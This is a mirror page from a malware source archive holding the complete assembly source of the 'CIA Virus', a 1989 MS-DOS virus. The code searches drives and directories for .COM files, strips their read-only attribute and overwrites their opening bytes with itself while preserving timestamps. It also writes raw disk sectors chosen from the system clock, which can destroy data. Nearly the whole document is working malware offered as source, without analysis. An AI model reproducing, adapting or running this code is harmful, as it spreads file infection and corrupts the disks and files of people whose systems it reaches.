13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-25 16:38:38 +00:00
vxug-MalwareSourceCode/MSDOS/C-Index/Virus.MSDOS.Unknown.ciavirus.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

240 lines
4.9 KiB
NASM

page 70,120
Name CIAVIRUS
;************************************
; CIA Virus (C) 1989 by
; Live Wire
;************************************
code segment
assume cs:code
progr equ 100h
ORG progr
main:
nop
nop
nop
mov ax,00
mov es:[pointer],ax
mov es:[counter],ax
mov es:[disks],al
mov ah,19h
int 21h
mov cs:drive,al
mov ah,47h
mov dh,0
add al,1
mov dl,al
lea si,cs:old_path
int 21h
mov ah,0eh
mov dl,0
int 21h
mov al,01
cmp al,01
jnz hups3
mov al,06
hups3: mov ah,0
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc
change_disk:
jnc no_name_change
mov ah,17h
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change
mov ah,2ch
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h
no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jmp hops
hups2:
mov ah,0eh
int 21h
mov ah,3bh
lea dx,path
int 21h
jmp find_first_file
find_first_subdir:
mov ah,17h
lea dx,cs:maske_exe
int 21h
mov ah,3bh
lea dx,path
int 21h
mov ah,04eh
mov cx,00010001b
lea dx,maske_exe
int 21h
jc change_disk
mov bx,CS:counter
inc bx
dec bx
jz use_next_subdir
find_next_subdir:
mov ah,4fh
int 21h
jc change_disk
dec bx
jnz find_next_subdir
use_next_subdir:
mov ah,2fh
int 21h
add bx,1ch
mov es:[bx],'\ '
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh
int 21h
pop ds
mov bx,cs:counter
inc bx
mov cs:counter,bx
find_first_file:
mov ah,04eh
mov cx,00000001b
lea dx,maske_com
int 21h
jc find_first_subdir
jmp check_if_ill
find_next_file:
mov ah,4fh
int 21h
jc find_first_subdir
check_if_ill:
mov ah,3dh
mov al,02h
mov dx,9eh
int 21h
mov bx,ax
mov ah,3fh
mov cx,buflen
mov dx,buffer
int 21h
mov ah,3eh
int 21h
mov bx,cs:[buffer]
cmp bx,9090h
jz find_next_file
mov ah,43h
mov al,0
mov dx,9eh
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h
mov ah,3dh
mov al,02h
mov dx,9eh
int 21h
mov bx,ax
mov ah,57h
mov al,0
int 21h
push cx
push dx
mov dx,cs:[conta]
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1]
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx
mov ah,40h
mov cx,buflen
lea dx,main
int 21h
mov ah,57h
mov al,1
pop dx
pop cx
int 21h
mov ah,3eh
int 21h
mov dx,cs:[jmpbuf]
mov cs:[conta],dx
hops: nop
call use_old
cont db 0e9h
conta dw 0
mov ah,00
int 21h
use_old:
mov ah,0eh
mov dl,cs:drive
int 21h
mov ah,3bh
lea dx,old_path-1
int 21h
ret
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer dw 0000
counter dw 0000
disks db 0
maske_com db "*.com",00
maske_dir db "*",00
maske_exe db 0ffh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db 0ffh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0
buffer equ 0e000h
buflen equ 230h
jmpbuf equ buffer+buflen
path db "\",0
drive db 0
back_slash db "\"
old_path db 32 dup (?)
code ends
end main